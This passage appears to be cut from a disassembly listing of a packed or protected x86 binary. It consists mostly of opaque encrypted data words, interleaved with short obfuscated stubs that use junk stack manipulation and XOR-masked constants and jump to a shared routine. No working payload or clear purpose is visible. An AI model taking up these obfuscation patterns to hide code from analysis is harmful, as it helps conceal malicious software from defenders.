0AEBC7411h, 7CBAEA8Bh, 104E3451h dd 8F3DB1EBh, 16C91ACFh, 0C9F759CFh, 0AB6F9DFFh, 400F3D70h dd 1BD5D69Fh, 2940CFD5h, 52F0F3FAh, 6C1A603Dh, 0E936DF2Ah dd 3FDC3EB4h, 4A1Eh, 0CD0BE500h, 0DAA74A2h, 5984C2DFh dd 0FD28672Bh, 6D0857CFh, 0B1CEF937h, 5786C283h, 1AB09129h dd 93D216C9h, 3B763A68h, 0DC16DA08h, 0BB17BA9h, 0E9118DE8h dd 5000ABCAh, 4440CFD7h, 0EE317523h, 47BDE936h, 189AAh dd 7B4F0000h, 5876F54Ch, 0B5B2485Bh, 9FA253EFh, 0F5132E99h dd 0B6D4E6BAh, 94D1B754h, 0F3A1C265h, 16C948B3h, 7028C53Bh dd 0A4572ACh, 0A4E5A9D7h, 8BB91B7Dh, 2D5B8AC7h, 0D1FF2A69h dd 9FFF76EDh, 94C9AC23h, 31589973h, 45093903h, 4916C948h dd 135036D3h, 2D6741E4h, 6502CCFAh, 7DB791BEh, 0B5521C4Ah dd 11B4247Ch, 31A7FE63h, 6492081Ch, 44F266A0h, 13206D02h dd 97B4168Ch, 164477B1h, 7A3CEA0Bh, 8413206Dh, 0F5B7710Eh dd 4513206Dh, 0EB257FF6h, 7BB59BB8h, 0EE23FF9h, 590AFA52h dd 3D833B84h, 4F7DDF31h, 0F01E518Bh, 0D0D4A100h, 67466396h dd 452624B9h, 0FEB7h, 176F7D00h, 9E304A7h, 2D71A1C8h, 0B116C91Ah dd 0C3719E3Bh, 1C32096Eh, 501442B8h, 0E0C6E316h, 814573A6h dd 0F6E61447h, 8CC6DE97h, 0B35D3C59h, 0AD4526E6h, 49h dd 65186F73h, 0C91AF7B7h, 1F81F716h, 1958CE7Ch, 70E616C9h dd 1AE4AA42h, 3CD916C9h, 4FC11839h, 1698D2ACh, 0F304E4B5h dd 12F9116h, 0BF6D9A37h, 16C9792Fh, 5285BF2Fh, 0DBF85A24h dd 86FDh, 29643E00h, 61FEC8F6h, 0AD176F33h, 4A144271h dd 929745E8h, 591C321Eh, 647AF72Ah, 20A6F0B6h, 0D788FE13h dd 0E5824ED8h, 9B5F8D03h, 2B112E61h, 0F890BEF1h, 1320F209h dd 792B4A99h, 0A5D8123Fh, 0A84BAD77h, 0F295D987h, 0A3191320h dd 0F20C5200h, 1C921320h, 479FD87Fh, 818634D7h, 8D19D08Bh dd 0EB25E917h, 2FA68AB8h, 43B30B46h, 5E85C6A0h, 22D6C30h dd 28D603A0h, 1C20DC27h, 340EB127h, 0D49ECCF3h, 7B629037h dd 0B284534Ch, 78024BB3h, 0D9671871h, 0ED26C304h, 61822595h dd 0C9DBF3B3h, 0BC02B016h, 4216C9DBh, 61FE74CCh, 0A2818634h dd 178D1C39h, 0B8EB25E9h, 0CE013B15h, 0A7E795A0h, 2713398Ch dd 0BB24FB1h, 8AB8EB25h, 4E7344F2h, 5C193CD2h, 0BEDB0E48h dd 0FCC27091h, 2524359h, 0CF09EF8Ch, 6FAA6E9Ch, 59094DFBh dd 1F955243h, 4BF91ABDh, 5243590Bh, 0CF274E8Fh, 59246A18h dd 34AA5243h, 997D35D2h, 17515322h, 0A7E1C7E4h, 0C3B4674h dd 1FB79C56h, 8260FDEEh, 3, 0C233A1C2h, 692D5B82h, 0ACEFC2Fh dd 0AE72A0CBh, 5418466Dh, 0F9BDEB16h, 9E6290BBh, 3E023063h dd 0E0A4D201h, 864775A4h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edi push esi push 691960A0h pop esi or esi, 23F08C3h add esi, 9AB0EEEBh push esi xor dword ptr [esp], 0CAF107Ah pop ebx xor ebx, 0CAF107Ah pop esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi push ebx push edi mov edi, 2D726169h xor [esp+4], edi pop edi pop dword ptr [edi+8] xor dword ptr [edi+8], 2D726169h mov edi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5461C3 ; --------------------------------------------------------------------------- db 0CBh, 0FEh, 31h dd 0F05CBFB8h, 0FFC50305h, 8127AFE0h, 63DA3C6Eh, 83DDB036h dd 0AA8BC27Bh, 95586717h, 5AC2CC77h, 3BADB046h, 1FFBB252h dd 0BAC2CD02h, 21FB7B6Eh, 0E5EA2071h, 0FF7AE356h, 0CFE0E25Ch dd 0B5039C7Ch, 0C21D906Bh, 737E9734h, 626B879h, 7D395868h dd 0F62D6C44h, 92A85555h, 0BF2F374Dh, 0DC344A75h, 52F42344h dd 89438174h, 6C998578h, 0A414BC66h, 2D7C9134h, 0B18AC61Fh dd 818D8D13h, 6A05F05Eh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 0BF3AC351h, 7A092E72h dd 12699509h, 8D8905E9h, 5E92655h, 6800Fh, 9D890000h, 5E91745h dd 80585C7h, 5D4805E9h, 8A0F0000h, 3, 0C7F28B66h, 0E9163D85h dd 5, 39953300h, 0FF05E90Fh, 0E92355B5h, 0E7816605h, 95FFA36Dh dd 5E90BC5h, 0FE8h, 0DCFF6C00h, 19CDD826h, 859448E6h, 0A1962311h dd 2AB5B531h, 6A5E05E9h, 9595FF00h, 8B05E91Eh, 0D15AEBC0h dd 3C288310h, 4E8B917Bh, 1F1FBFCDh, 0F85BB1BFh, 36A7C4B7h dd 606440BAh, 0BA63065Dh, 47EE13EBh, 27388ED7h, 0B192F1FDh dd 0F6DE0A50h, 38F3F449h, 62F659D2h, 979B6F22h, 4BAFCA1Dh dd 0D14FD334h, 4DE6C418h, 0C1EB8036h, 23544725h, 70E2AF2Bh dd 9C5C2761h, 0D13D28CAh, 3C04EB9Eh, 0E9134D63h, 50Ch dd 537097D7h, 0E502316Dh, 7693C2FFh, 5225590h, 99B6E11Fh dd 27654D95h, 0B8F9DFFCh, 4F8E7491h, 0E7210724h, 0E9CA97B4h dd 39447B3Bh, 4D2A8313h, 0D8063973h, 4873B20Eh, 85B3501Ah dd 275588C2h, 0DDFA2563h, 0E78ABDF7h, 1A5618C6h, 0E25816C9h dd 8FC98D45h, 2E6A2E5Ch, 0A8C3D1FFh, 446FAD87h, 0C91A5214h dd 49E65C16h, 9436114h, 770433D6h, 4258C6FCh, 0ACD91DB1h dd 0E2447650h, 79B89E45h, 85E71A54h, 9FCA08E2h, 630AA771h dd 0E5133E7Dh, 8BB9E021h, 184530A7h, 0D80549F7h, 198916C9h dd 0B14EB0DBh, 44618CCBh, 4EF1245Eh, 0D83F7F2Dh, 49BF16C9h dd 675CF4ACh, 0CF16C9D8h, 3AE6C5B0h, 3640CF15h, 5Fh, 5588C2FCh dd 7097D8B2h, 23DB7842h, 0C91AC98Bh, 93E20116h, 0CFD74818h dd 16840h, 0C22E0000h, 65295786h, 963BAB29h, 5492A48Ah dd 287995A3h, 30920BEAh, 55CE5E8Dh, 1BC6013Fh, 0E1BBC67Eh dd 0F3D976A5h, 495785B8h, 19554F26h, 0ADE7CDEAh, 40B7582Bh dd 0DAA4D205h, 0F1910329h, 0C244728Fh, 0B48E0A84h, 0B4157DFh dd 0D93B9DD0h, 7CABE7ABh, 76FF5E4Eh, 0A8C5F02Eh, 275588C2h dd 0BCFD2663h, 3B9D6795h, 0D89D3E0Dh, 426DAB85h, 20AC6A5h dd 7D2640CFh, 0ED000000h, 7BA9D413h, 0C2E614B1h, 202B5984h dd 0AFDD0846h, 3F3A34E5h, 0E34E318Bh, 0FA236046h, 12F91BCh dd 0B8A5D0F3h, 4371A4DEh, 0B8F6DC79h, 2243708Dh, 0C9F23274h dd 0A946BC16h, 2C5A85C3h, 0CCFA2D68h, 92195CFDh, 40CF3DDEh dd 81F2h, 84C2B800h, 0A0DCB659h, 0B097C071h, 3EAC5E36h dd 0BDDEE9A1h, 0C9734F0Fh, 3CD94F16h, 0BEEC1756h, 267EF746h dd 88CE7CE8h, 1616C973h, 0F3213EA0h, 0EAAC5A7Bh, 0F416C91Ah dd 0BFFBE17Eh, 1ECCED90h, 16C91A58h, 9B53F066h, 0C91A3E03h dd 0DB064416h, 673E94ADh, 5F30BD8Fh, 6D9BC203h, 0F3D6CA9h dd 2352C945h, 4134537Bh, 94DFB1Ch, 9516C976h, 8DBBE625h dd 0E5C461C3h, 40CFBB3Bh, 135h, 85C2FB00h, 7384B356h, 0A155C2ACh dd 0DA9E56F3h, 7B3F6DA0h, 20E4123Dh, 0D85B3E6h, 6BE7B7BEh dd 0E62381F4h, 9619AB7h, 0DB48F699h, 2B1C3192h, 0FE3812B5h dd 376594D1h, 0B66E0B6Dh, 6885B8F2h, 6FC64882h, 0EF84BE2Ch dd 0F9043294h, 81BBE01Fh, 0F456204Eh, 33DB9D57h, 0A1DB1320h dd 0A90B3674h, 4B7AB77Bh, 0EC1F591Dh, 2B4EF4BEh, 0F544544Ah dd 0B7EA2480h, 477AB49Ah, 0E81B5519h, 8CB7F6BAh, 2F5E9A5Eh dd 9CDB3701h, 0E85F4371h, 3289118Dh, 33236311h, 35AB1320h dd 92126398h, 29082558h, 4526FE67h, 0DF973E6Dh, 3D09644h dd 68DE1320h, 113401B7h, 0A643A5D4h, 0FB85h, 176F4B00h dd 0FD5604A7h, 291C3209h, 87C185B3h, 17513754h, 0B8F2B6E4h dd 8675785h, 0CAFD376Dh, 165180ADh, 0CCFF3A9Fh, 0B9A71B1Bh dd 0C6933D1Ch, 638D4526h, 53000000h, 3A6186Fh, 0C919C155h dd 0EB280216h, 295786C2h, 5CFFD5Fh, 27C18668h, 6DDDF649h dd 932B59BBh, 16C9B1D3h, 3E6C9BD7h, 0DF0D407Ah, 415D1867h dd 2F6943D8h, 0EBAB59FCh, 0F316C9B1h, 0CAABE07Dh, 0BE6F3087h dd 0DDCD8DFFh, 0B866096Bh, 16C94E26h, 0B795B228h, 6Ch dd 75DAC9F8h, 0FDB81F29h, 176F3260h, 555604A7h, 0E11C321Eh dd 58323D6Bh, 684EEB1Eh, 0F8DEFB2Eh, 0C55D8BBEh, 1320163Eh dd 65F87DCCh, 86234A8Bh, 0C0E466A0h, 762C5551h, 0B2EB086Ah dd 9947EA5Ah, 19D0DD77h, 0C1745BBh, 0F5793DEBh, 0F8516D0h dd 1F528C72h, 0DF960DF1h, 7AA1A72h, 0A0CF0CE6h, 510BA872h dd 1C2083AFh, 32607DF3h, 3665A17Bh, 98086099h, 6CA547F5h dd 77ED1C39h, 0D00F3E49h, 458F3BF4h, 0D00AF08Dh, 0DF20FA9Dh dd 8E741BB8h, 0BDE82754h, 1952D5Bh, 0BF087691h, 5584D99Ch dd 1AF22AAh, 58479BDh, 211ACB41h, 8CB7F587h, 9532945Eh dd 254275AFh, 0A4D2053Fh, 8331A5E0h, 5849AC3h, 0C5F355CBh dd 520B6AE1h, 0A20B1323h, 61FE5C1Eh, 0F10E417Bh, 835DD10Bh dd 0A1E51548h, 2D05848Ch, 0EE215BB7h, 3A25E8Ch, 0E2000000h dd 82C233A1h, 2F692D5Bh, 0CB0ACEFCh, 6DAE72A0h, 16541846h dd 0BBF9BDEBh, 639E6290h, 13E0230h, 0A4E0A4D2h, 68864775h dd 5201h, 68240489h, 3A58h, 68241489h, 1175h, 56240489h dd 5962F3BEh, 0D1D6F740h, 0F2C681EEh, 0C160DD7Bh, 0DEF706EEh dd 2214C681h, 0F28908F3h, 8124348Bh, 4C4h, 48B5400h, 4C48324h dd 2ABE5652h, 315D0D6Bh, 5E042474h, 8108408Fh, 6B2A0870h dd 34FF5D0Dh, 0C4835824h, 2434FF04h, 4C4815Ah, 0E9000000h dd 0FFF91C0Bh, 42A6685Ch, 4D66D2FFh, 0DC37D7B6h, 0F0637AB8h dd 0FFC50305h, 0B4C595E0h, 59FE2677h, 0A10CE705h, 0E08F0134h dd 2FCB570Dh, 0BA548A25h, 8CED7A4Dh, 37325541h, 6C8D9570h dd 5C568E39h, 0E8EDCE1Eh, 0DCEA095Fh, 0B36FDB4Ah, 0DB2BC10Eh dd 5CE93579h, 0FA853D3Fh, 0A84C9C23h, 1558D548h, 1070E83Dh dd 3289786Ah, 3DE94842h, 0B557464Ah, 0DC440F48h, 85141224h dd 806F4050h, 10B54C47h, 58D8D14h, 0F505F065h, 26558D89h dd 95205E9h, 0E91621BDh, 85C75805h, 5E90805h, 5E4Ch, 2D65BD31h dd 85C705E9h, 5E9163Dh, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 1BC35242h dd 2352711Ah, 0E90D2185h, 958B5B05h, 5E905FDh, 4BDB5FFh dd 6A05E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 2D6C70C3h, 0FFCBDAC7h, 0E90BC595h, 0F5BE6605h dd 5E956h, 90250000h, 6ABB1366h, 9595FF00h, 8B05E91Eh dd 1569EBC0h, 1097B82Ch, 0AC3F8269h, 3A1FF4F5h, 5E511F31h dd 0FB3A89BDh, 66957DD5h, 54E5C24Eh, 6FA76389h, 0E155AE56h dd 8EE0B65Ch, 0E927E473h, 5F07B549h, 0D7782D4Fh, 29C187F9h dd 71207969h, 96E8136Dh, 81FDF7C8h, 84F197DFh, 7EFFBE16h dd 0EB56D24Fh, 0E895B7CFh, 2047F138h, 0D3DB537Fh, 73F2EE04h dd 0EA6D9EA8h, 0B43E8A83h, 0E96204EBh, 5AE95063h, 44000005h dd 0DAC0DD04h, 6C526F9Eh, 0FDE3002Fh, 8C728FC2h, 206234Eh dd 719CDAE0h, 62D6E54h, 99C403E9h, 295C967Ch, 0B05E3F0Ch dd 13397FEEh, 0C2B997F0h, 63275588h, 0F7DDFA25h, 515C8ABDh dd 1A3C8230h, 4CC216C9h, 5C8FC9AFh, 0FF2E6A2Eh, 86862D5Ch dd 5088AA25h, 0CAEDFBB3h, 8CBFF9ABh, 0A6D10FE9h, 3D7C6209h dd 0D00FF512h, 0E72802A5h, 0FC2364C0h, 0C29CA75Fh, 0D4BA5786h dd 5A3E6C93h, 0D31292E3h, 0ED2B05A8h, 19CA94C2h, 0ECC80979h dd 4CF390A3h, 56F92C66h, 0E4123D7Ch, 85C9771Ah, 916C97Fh dd 0A63EF693h, 16C97F9Dh, 0E27BFA19h, 0F13D42B3h, 3AD79EB9h dd 0CF4EB55Bh, 6CAB40h, 0C2710000h, 8F275588h, 16C91ACDh dd 356396D1h, 0DA083371h, 0AEF67FF6h, 4C16446Fh, 8AABC2EAh dd 194772B0h, 1A5F1F4Fh, 0E95F16C9h, 4D5E174Ch, 40CFD783h dd 0E9Dh, 95436400h, 0E936EED1h, 336DDDh, 0C2D3019Eh, 65295786h dd 8CCFA29h, 0D6F79ACDh, 0C91A6628h, 55F26816h, 96C8F9Dh dd 13305F9Bh, 87C6F32Dh, 2642E5Ch, 84C2B7E5h, 2B672B59h dd 1A490DBBh, 0DF5516C9h, 5F4F7Dh, 85F12F75h, 0C91A97D7h dd 3FA11716h, 0CF023C22h, 0DD6796A1h, 5B86C569h, 26B2632Dh dd 0B7F7A581h, 3716C9E5h, 0DCC25FC1h, 7E42709Fh, 24E8163Dh dd 738CBAE5h, 0F37FF9CCh, 0E003A9CDh, 1A20995h, 0BE793774h dd 719740CFh, 5D000000h, 3C65A17Bh, 0D9A3D100h, 0B6F4DA77h dd 5C995D8Bh, 0D6F1FF2Dh, 1A4707B5h, 0D14716C9h, 0DE0C3775h dd 33427714h, 0EB083371h, 0C44DC705h, 0B6C8234Fh, 561A48AAh dd 0EBBAE81Bh, 0C0802B4Ah, 0E040CFD7h, 50h, 5984C2A6h dd 0FD28672Bh, 9ED10BCFh, 426DAC70h, 0DF2AACE6h, 0A5256E06h dd 0D3C3F153h, 8D9D0174h, 0FE316C46h, 5B492C61h, 0A7D5F21Dh dd 295786C2h, 0C91AB091h, 15EF0616h, 4574B0D9h, 8FEB4D17h dd 53882550h, 0D7C78922h, 1D940CFh, 9F000000h, 0B2E54C7Bh dd 8283DA48h, 3DC3CED1h, 47E42136h, 52F52461h, 700D3C78h dd 46BAF4B8h, 0C978D698h, 62D816h, 0A57FEED2h, 0D3023F68h dd 0DC79DBA5h, 99D6CEA7h, 0CE0D3270h, 49AB75A3h, 0D2EF511Bh dd 2ED14199h, 3197E380h, 78B3231Ch, 6640E345h, 95C0FE2Bh dd 0D3DE9633h, 3AAFEBA4h, 1AB744D9h, 92CDFA34h, 0B3E0FD5Fh dd 868C3784h, 4DA9D303h, 6147E40Fh, 8EBDFA27h, 0E7A75560h dd 0E713204Ch, 7FAD0F71h, 204CA5E7h, 4F267513h, 34ACDF0Eh dd 7344A99Fh, 904741C2h, 0BA5769A5h, 0C4679AD4h, 0C43C7595h dd 0E17EACDEh, 0E71A543Ah, 88BBF5B9h, 6A0B6A5Ah, 94D3003Ah dd 0C0713B69h, 6291FE3Ch, 0A1BE20C2h, 26BB1EC2h, 17C1245h dd 6FD80000h, 0E304A717h, 1AD0ABB4h, 0B24FAC81h, 32E35BF8h dd 0E7158B1Ch, 13B6E923h, 6323D1F2h, 6B1320C1h, 0C181C5F5h dd 970D1320h, 336D53FAh, 0D40ED200h, 0C1ECB260h, 7CF21320h dd 9DFCEC1Ah, 356485D8h, 0BB0996B2h, 652959C9h, 6913205Dh dd 2B5A97F3h, 0B09633FDh, 12540276h, 9C13205Dh, 0C8A7C426h dd 45269018h, 3F18h, 186FDE00h, 0C1E203A6h, 4C7AADE7h dd 1A0C5282h, 1C9216C9h, 1951C57Fh, 67DD16C9h, 1ADDA139h dd 33D016C9h, 9AEC1B42h, 0A8AEABE3h, 1F76AF4Ch, 0CA5C0AADh dd 5416C913h, 0D3E3C1DEh, 23000000h, 3766176Fh, 462A6F93h dd 40063609h, 4E16C998h, 0B2D376D8h, 6B5F1883h, 0F5D68577h dd 7EE29380h, 0C7811EE1h, 1C3249C2h, 1A3BDE54h, 0A5D50440h dd 132041E1h, 26D477EDh, 13204160h, 0A35BF86Eh, 0CF72A5DFh dd 5B89B8F5h, 674DF491h, 93C6002Dh, 0DF4B4C65h, 5968BB9Ah dd 0CF6795F7h, 1320D830h, 0E00E3576h, 6465DB1Ch, 0F0DCB332h dd 4A2E5CBEh, 0ECFCA2D3h, 5685D89Dh, 0FA4125C8h, 15FB98A4h dd 528BA8DBh, 284F90FAh, 7523C6h, 4E19D031h, 4270A3DEh dd 52731678h, 0F116A223h, 95C539C7h, 16D06CD1h, 12CA67DDh dd 0B3E1144Eh, 341D58CFh, 43772DCh, 7AA0CD6h, 22BFF22Dh dd 0BEFAD4F5h, 4738F28Fh, 3C1C2043h, 0C7F52862h, 87E60FDh dd 176FBDEBh, 215604A7h, 6D1C3935h, 0CB05C9F7h, 5B957B98h dd 0CB62FA28h, 1C9A7F2h, 0D30D97DEh, 639D83A0h, 0BE6C8D30h dd 46AAFDF8h, 3BF39006h, 1AC83C77h, 46AAFD54h, 93EB1A56h dd 3E18BB1Dh, 7D35D201h, 51532299h, 0E1C7E417h, 8A4674A7h dd 3, 0C233A1CAh, 692D5B82h, 0ACEFC2Fh, 0AE72A0CBh, 5418466Dh dd 0F9BDEB16h, 9E6290BBh, 3E023063h, 0E0A4D201h, 864775A4h dd 8904EC83h, 0BB682404h, 89000012h, 8952242Ch, 4C281E2h dd 81000000h, 4EAh, 24148700h, 2414895Ch, 0F0657E68h, 242C8B05h dd 4C481h, 0EC830000h, 24248904h, 4240481h, 5A000000h dd 24348155h, 2F2D3904h, 5608428Fh, 2D3904BEh, 872312Fh dd 24148B5Eh, 5E08950h, 4, 8704C083h, 0FF5C2404h, 835D2434h dd 24E904C4h, 57FFF915h, 3AFA08BDh, 6A5FB8CEh, 0C50305F0h dd 65DEE0FFh, 392A2077h, 176016EAh, 7A231A7Bh, 15D732F9h dd 247A13C3h, 77101063h, 1B723BD0h, 89C64C45h, 0CB003942h dd 0B1883FD9h, 47960F13h, 93A82BE5h, 7A4B497Eh, 556F58E0h dd 0C2A6514h, 0B0C70BBFh, 2F015312h, 0AB371301h, 2856518Dh dd 0FD86177Eh, 4EB0E97h, 0A5A7E1Ch, 583E9h, 1B428200h dd 0ADDC18FEh, 3E6DAA90h, 0CD003B21h, 618CCAB0h, 18A24044h dd 0AC92AFDAh, 4127446Bh, 0D4BAD702h, 7D4A679Ah, 71A8EE9Ch dd 0DD361339h, 544C7BFFh, 0E4ECB9E9h, 0E2114EAAh, 0F2255F45h dd 56C200C4h, 0C938E6A8h, 3978E816h, 0B416E00Eh, 154F3552h dd 24653FE2h, 6805CFFDh, 3EB2ECB0h, 0C938CE90h, 1A0BD016h dd 7DB069CAh, 0EC1A7CDEh, 4C12C0E1h, 5216C9ACh, 0FF152BDCh dd 484444B8h, 5A89C5ABh, 7AFB1E2Ch, 4CCE09E3h, 5DF9DB14h dd 0ABD93BB6h, 245E44E1h, 0CDA7D4F1h, 67315F92h, 709ED10Bh dd 0E42309A6h, 0FD6F2C6Ah, 0E4461750h, 82C09AC7h, 95D4BA57h dd 37783C6Ah, 0F81629C1h, 0A0020E9Ah, 466DAE72h, 0EA155418h dd 5796F2BCh, 7D793DEBh, 0F8516C9h, 11AE7FADh, 0D4034064h dd 0FE7ADCA6h, 4C77B58Fh, 82B7541Eh, 9B496AF3h, 16C97DDBh dd 0EAD06DE3h, 0C38031ABh, 8B46912Fh, 0EC260C29h, 0CEF38BB9h dd 6816C998h, 0D17F2C49h, 0CF40CF55h, 89h, 619B7596h, 636002Eh dd 16C96C40h, 8735D84Eh, 16C96CC7h, 86B451C7h, 0B25588C2h dd 9209AD8h, 78CB84F2h, 0B26A0769h, 0C9A2561Ah, 9B758C16h dd 5C912E61h, 75234419h, 16C9A231h, 0CBAA47BDh dd 40CF6F05h, 11Bh, 86C2E100h, 29652957h, 3F7D57FAh, 87CDE614h dd 70C666B5h, 0EFA744A6h, 86C3F02Bh, 0D2266816h, 32A816C9h dd 76D8A2D0h, 18478448h, 0BDE826EAh, 4134AB8Fh, 0E194B75Dh dd 3B5887C3h, 0CBE81B55h, 5F84C29Dh, 0FBC5F322h, 80A8A14Ah dd 94F618A6h, 3766A266h, 0BBBA1909h, 6380ABE9h, 27671536h dd 0A716C909h, 6998D531h, 0EED4713Bh, 8F5381B4h, 26F52352h dd 4679B38Dh, 7CB14E18h, 0C6FEB2F9h, 731240CFh, 0D9000000h dd 6997BEFFh, 0C2D4029Fh, 672B5984h, 0BFCDFB2Ah, 8DCBD99Ch dd 215F4562h, 0C904C8F6h, 0BB5A6047h, 0CDA58526h, 0A6DB5C74h dd 87B51779h, 4D5E17B8h, 40CFD593h, 5AADh, 84C27300h, 0A0DCB659h dd 111CD471h, 0A1CFF637h, 13759CDDh, 26519076h, 0F2B46283h dd 0FC16C91Ah, 6D31E986h, 11D5032Eh, 179A7D2h, 0A0E1C3B2h dd 0B8071779h, 7EA9E7BDh, 5A7B3361h, 0C91AEAACh, 0E17EF416h dd 6290BFFBh, 0C91AF9CAh, 571E3D16h, 0CFD78C54h, 1A440h dd 0C26A0000h, 64285685h, 0E5C9F72Ah, 3C7B5576h, 1A9DE111h dd 0AB2116C9h, 89CD90Eh, 467F9CCBh, 0BADB7EEEh, 4876A1E0h dd 466BE72Fh, 66C81DA0h, 63920FC9h, 7EF41C31h, 76244550h dd 1320A930h, 0C5AB48BEh, 553B588Bh, 22BAE81Bh, 1320A95Eh dd 45185DACh, 5130F816h, 0EBF5181h, 0C6E0B589h, 13F99609h dd 2903A6D9h, 0C892C0EBh, 649E842Bh, 53F0331h, 55B4A4D2h dd 174A8420h, 84325374h, 13205DC2h, 602656CCh, 6E13205Dh dd 0B6EE17A9h, 0D1337555h, 0E2AE8D34h, 0FE452614h, 11Ah dd 0A7176FC4h, 9FD5604h, 0B9291C32h, 0C0EE507Bh, 728FC2FCh dd 30762445h, 6513202Bh, 0E262BCCBh, 0B42A82ECh, 0C4F73117h dd 6598D296h, 8DE84737h, 8DAADD17h, 2691E2AEh, 3EFE45h dd 6FC40000h, 0E203A618h, 6C9ACD08h, 0DB4B05A2h, 6316C919h dd 6727BFEDh, 5616C91Ah, 3E95BCB9h, 5FA29CCh, 89F1440Ch dd 0A8C9F693h, 346291CEh, 8313CD6Ah, 8B16C956h, 9F1AF815h dd 5A000000h, 4A7176Fh, 321E5556h, 3D6BE11Ch, 8EBD3F79h dd 8A8E3D1Eh, 29A0733Dh, 36245678h, 1A5731D4h, 0EF689E9Ch dd 0FB5DC93Fh, 97D1B75Eh, 692C164h, 0EFAF7713h, 265591EDh dd 0CA39D189h, 0C132032h, 0EFAF5DD1h, 0EF132032h, 25E91779h dd 138BB9E8h, 0DDEDB1C4h, 9C76E78Eh, 3C06345Bh, 32ABEB99h dd 0BD331320h, 0CD003A20h, 0AF1F77B0h, 0E1BCEB0Ch, 4B7EB90Eh dd 47D549Ah, 889EAD67h, 6EE419D0h, 0F427C40h, 0EF86FDE1h dd 0F79A0A62h, 0FC8AA7D6h, 0D5123721h, 0AC4F7E38h, 1D931C20h dd 176FD200h, 675604A7h, 601C393Fh, 0F01E4586h, 31A78926h dd 0E01EF803h, 0EF1A59B5h, 745AF7C1h, 4EA073Ah, 0D16997CAh dd 139F708Dh, 0B664CC0Dh, 1C937EF0h, 0F82688FEh, 9BC9F834h dd 56482DCAh, 0BCE88DB0h, 7DAC4F82h, 4BF9405Ch, 1C93DB0Bh dd 826C1D93h, 0A14FF287h, 1C935ADDh, 27CE6BE1h, 9DDA0741h dd 5A3F7F2Dh, 49BF1C93h, 4C5785E7h, 69063572h, 0E7154883h dd 0BBE98C03h, 4B314E81h, 7CA3E411h, 204B8A4Eh, 722E5CBEh dd 3, 0C233A1B2h, 692D5B82h, 0ACEFC2Fh, 0AE72A0CBh, 5418466Dh dd 0F9BDEB16h, 9E6290BBh, 3E023063h, 0E0A4D201h, 864775A4h dd 815A5452h, 4C2h, 4EA8300h, 5C241487h, 5E08950h, 4, 42Dh dd 24048700h, 240C895Ch, 81E78957h, 4C7h, 4EF8300h, 5C243C87h dd 57241489h, 0D9506768h, 0E7C15F73h, 0B9C78107h, 0F7410450h dd 87EF81DFh, 89CC6310h, 8B545FF9h, 0C4812414h, 4, 8BB53h dd 0D3010000h, 24048151h, 73220E43h, 2B81038Fh, 73220E43h dd 24148B5Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop ecx add esp, 4 jmp loc_5461C3 ; --------------------------------------------------------------------------- db 3Ah dd 0C1736184h, 0F07027B8h, 0FFC50305h, 3F45BCE0h, 1F6F8251h dd 0ADEB945Eh, 8162173Ah, 0B6213F77h, 4A3DAB57h, 0C223791Fh dd 78C6C255h, 50291679h, 88C77C42h, 951D306Eh, 0AF19D031h dd 748B225Eh, 0C25A053Eh, 7486AE67h, 0AD49CA3Ch, 0BB45123Ah dd 63624D59h, 0F0AAAA40h, 0E48D8D42h, 6A05F071h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 0E89BC355h, 0BDB643CEh, 89767591h, 0E926558Dh, 0C3B86605h dd 0E0BE66D8h, 585C719h, 1C05E908h, 6A00005Ch, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 37E3C357h, 0F0B3D3F8h, 9019589h, 85C705E9h, 5E9163Dh dd 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0A0C35646h dd 0EB6062BCh, 1DA1B58Bh, 0B5FF05E9h, 5E9257Dh, 6E856h dd 7F1A0000h, 3F0F2EDh, 0BE8h, 0A5B3B00h, 0DA45FE77h, 3D0D86C1h dd 0FF5B5A58h, 0E90BC595h, 6AF805h, 1E9595FFh, 0C08B05E9h dd 2BC90DEBh, 478D294Dh, 71A6698Ch, 0E84E6C3Bh, 10h, 5769CF5Dh dd 30E161A2h, 0B7A9F44Fh, 230C8B3Fh, 0F5AFA8Bh, 0F88h dd 0AE900h, 0F03B0000h, 0C7359352h, 0F253C812h, 6427C281h dd 89600000h, 0E90B15BDh, 0C0336105h, 2B35BD31h, 34FF05E9h dd 59FB8B10h, 27AD9501h, 0F18105E9h, 5422C60Fh, 81FFB70Fh dd 655A5CC1h, 0C9BD0B20h, 8105E924h, 0E229E4C1h, 79BD8B27h dd 8905E91Dh, 0B70F020Ch, 800FF9h, 83000000h, 0DE8B03E8h dd 68A0F48h, 9000000h, 0E92A45BDh, 70F88105h, 0FFFFF9Ch dd 0FFFFA985h, 0EDBD89FFh, 0EB05E928h, 0D01CB004h, 5AAE957h dd 0E1210000h, 7BB79DBAh, 0C492F4Ch, 9FDAC0DDh, 2B694F6Ch dd 3DFE300h, 314E79B7h, 0C6E30A4Bh, 5976A1E0h, 0E9063973h dd 0C98D3B1Ch, 0D5133968h, 88C29E7Ch, 9ED8B255h, 3B793D6Bh dd 5911AE10h, 0F2C5795h, 19BCEF29h, 8E82BFEAh, 49E69C36h dd 6093CD91h, 0C2326E32h, 0C9065214h, 0AEEC5C16h, 91BF2183h dd 48156083h, 6357927h, 43B916C9h, 0DD7AADE7h, 5690BDF7h dd 0C92BF523h, 5C87C6ACh, 0EF1A593Fh, 95BCFDC1h, 690C8367h dd 0B0DB1AF4h, 351BB882h, 0C8AECBF6h, 952D5B8Eh, 16C906ACh dd 218AEB0Ah, 40CFCB7Fh, 50813665h, 6F20538Dh, 8320937Ah dd 5F62h, 5A7B2800h, 0C91AEAACh, 